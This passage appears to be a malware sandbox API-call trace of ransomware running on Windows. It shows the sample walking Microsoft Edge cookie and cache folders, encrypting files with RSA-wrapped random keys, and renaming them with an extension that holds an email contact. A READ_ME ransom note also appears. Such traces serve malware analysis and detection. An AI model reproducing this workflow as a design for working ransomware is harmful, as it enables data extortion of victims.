(in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6a [0300.565] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.565] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.565] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.565] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.565] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.565] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ntOT1rk5XW5eqgStAqA8+AQW22Sf9/Gdg+qOA22MhBKRm6a0F5EOl3fuPbYdavY8\n8pyTIPiCxqHHCk09AexyrcmAtrQus+PxYeGkUq0NV8Plw6kCjpqMwllMUJH69/KX\n73oBZVEDpEvEhJ1k2Z5iYZeYyRef5ZCiK/G4mYUWkiEBrw+W+5QnHegfWYDQ9xQ7\nhrnv34EkbS9bNRJGdHlG5W/E9U0QFrrkFemSTwdf6TWggPs4gf1K8u53bKDT5VE3\naxiophAeFNKhq+XiZVfx1L3xeEhKbeRlzxVu4iy043dBDy5xq1zBfk1Qt6++QIud\nBRW5DNGSyrUCTDqhHFysLA==\n", pcchString=0x2e3f9a8) returned 1 [0300.565] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.566] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.566] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.566] CloseHandle (hObject=0x1b90) returned 1 [0300.566] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.568] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f377a8 [0300.568] SetLastError (dwErrCode=0x0) [0300.568] GetLastError () returned 0x0 [0300.568] SetLastError (dwErrCode=0x0) [0300.568] GetLastError () returned 0x0 [0300.568] SetLastError (dwErrCode=0x0) [0300.568] FindNextFileW (in: hFindFile=0x2f377a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.568] SetLastError (dwErrCode=0x0) [0300.568] GetLastError () returned 0x0 [0300.568] SetLastError (dwErrCode=0x0) [0300.568] GetLastError () returned 0x0 [0300.568] SetLastError (dwErrCode=0x0) [0300.569] FindNextFileW (in: hFindFile=0x2f377a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e45fcd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] GetLastError () returned 0x0 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] GetLastError () returned 0x0 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] FindNextFileW (in: hFindFile=0x2f377a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] GetLastError () returned 0x0 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] GetLastError () returned 0x0 [0300.569] SetLastError (dwErrCode=0x0) [0300.569] FindNextFileW (in: hFindFile=0x2f377a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.569] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.569] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0300.570] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b94 [0300.570] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.570] ReadFile (in: hFile=0x1b94, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.570] SetFilePointer (in: hFile=0x1b94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.570] WriteFile (in: hFile=0x1b94, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.570] SetFilePointer (in: hFile=0x1b94, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.570] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.570] WriteFile (in: hFile=0x1b94, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.571] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.571] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.571] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.572] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2ycUTe5yVvxCvingpz2HQlpVFyiVtIFLbqjyjfiYipLAUUSORGBWb73X41sGJxaX\n9RLgMY8QBBFf8knFmtGHhq5VKdkAO9vmNZnRzk7XoVhDhTDhvOpKQzMOpnePLmnb\nZakWEO6a/EKQt+FgvLrTUzkaTkfg6XBZB3P2tCAMP7fO42T2e3HGaFMkfrCjcVC3\nogBNm43NqzhB8x2Wd7hVXGkla5rDNnWkwutMdpJEn4oGU0vZvZo79+1kFhf4cQgv\nXs7oePPi23eU/4GDBpLixuCt8cZzLZ3FnfQRYDOND4rU5qe4AI/w1/X0UtDXUbMY\nzZ4GJ05FIt29TtXAlYL1YA==\n", pcchString=0x2e3f9a8) returned 1 [0300.572] WriteFile (in: hFile=0x1b94, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.572] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.572] WriteFile (in: hFile=0x1b94, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.572] CloseHandle (hObject=0x1b94) returned 1 [0300.572] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.574] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f371e8 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] FindNextFileW (in: hFindFile=0x2f371e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] FindNextFileW (in: hFindFile=0x2f371e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.574] SetLastError (dwErrCode=0x0) [0300.574] GetLastError () returned 0x0 [0300.575] SetLastError (dwErrCode=0x0) [0300.575] FindNextFileW (in: hFindFile=0x2f371e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.575] SetLastError (dwErrCode=0x0) [0300.575] GetLastError () returned 0x0 [0300.575] SetLastError (dwErrCode=0x0) [0300.575] GetLastError () returned 0x0 [0300.575] SetLastError (dwErrCode=0x0) [0300.575] FindNextFileW (in: hFindFile=0x2f371e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.575] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0300.575] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b98 [0300.576] GetFileSizeEx (in: hFile=0x1b98, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.576] ReadFile (in: hFile=0x1b98, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.576] SetFilePointer (in: hFile=0x1b98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.576] WriteFile (in: hFile=0x1b98, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.576] SetFilePointer (in: hFile=0x1b98, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.576] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.576] WriteFile (in: hFile=0x1b98, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gYuWysLAcjYVky8om4s/MUdGzhgB+FnKan+8T8IG2ra52CEhR8fqnRh+dUUgoS3X\nRs1UmdlZKZlqup7vsaaz+bj983TdklwRd4noxaRGEhuXtIlJggcm2TVPO00Bd6kX\n0yKBsvdKvIbrIr8HfzaNZHSF8mazNFJNm1MIz/ZszaxtuGEATnzqYrXCB9ufD95v\njJpUoxR90Ewrob8t/VuFK+QVHg3nAw+Z36EQlx7h1vDgGNcYAixQP0W0IYs+gG4c\nsEFf5IE8Sh68M9cjALJ86a96Vt7O9pEsgMlbCtrkUlTd5rEBuidCrEk+Pkk4RD08\nx6OmFDiqTjD0OMx371E5MQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.577] WriteFile (in: hFile=0x1b98, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.577] WriteFile (in: hFile=0x1b98, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.577] CloseHandle (hObject=0x1b98) returned 1 [0300.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.579] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f374e8 [0300.579] SetLastError (dwErrCode=0x0) [0300.579] GetLastError () returned 0x0 [0300.579] SetLastError (dwErrCode=0x0) [0300.579] GetLastError () returned 0x0 [0300.579] SetLastError (dwErrCode=0x0) [0300.580] FindNextFileW (in: hFindFile=0x2f374e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] FindNextFileW (in: hFindFile=0x2f374e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] FindNextFileW (in: hFindFile=0x2f374e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] GetLastError () returned 0x0 [0300.580] SetLastError (dwErrCode=0x0) [0300.580] FindNextFileW (in: hFindFile=0x2f374e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b75651, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b75651, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0300.580] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0300.581] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b9c [0300.581] GetFileSizeEx (in: hFile=0x1b9c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.581] ReadFile (in: hFile=0x1b9c, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.581] SetFilePointer (in: hFile=0x1b9c, lDistanceToMove=0, 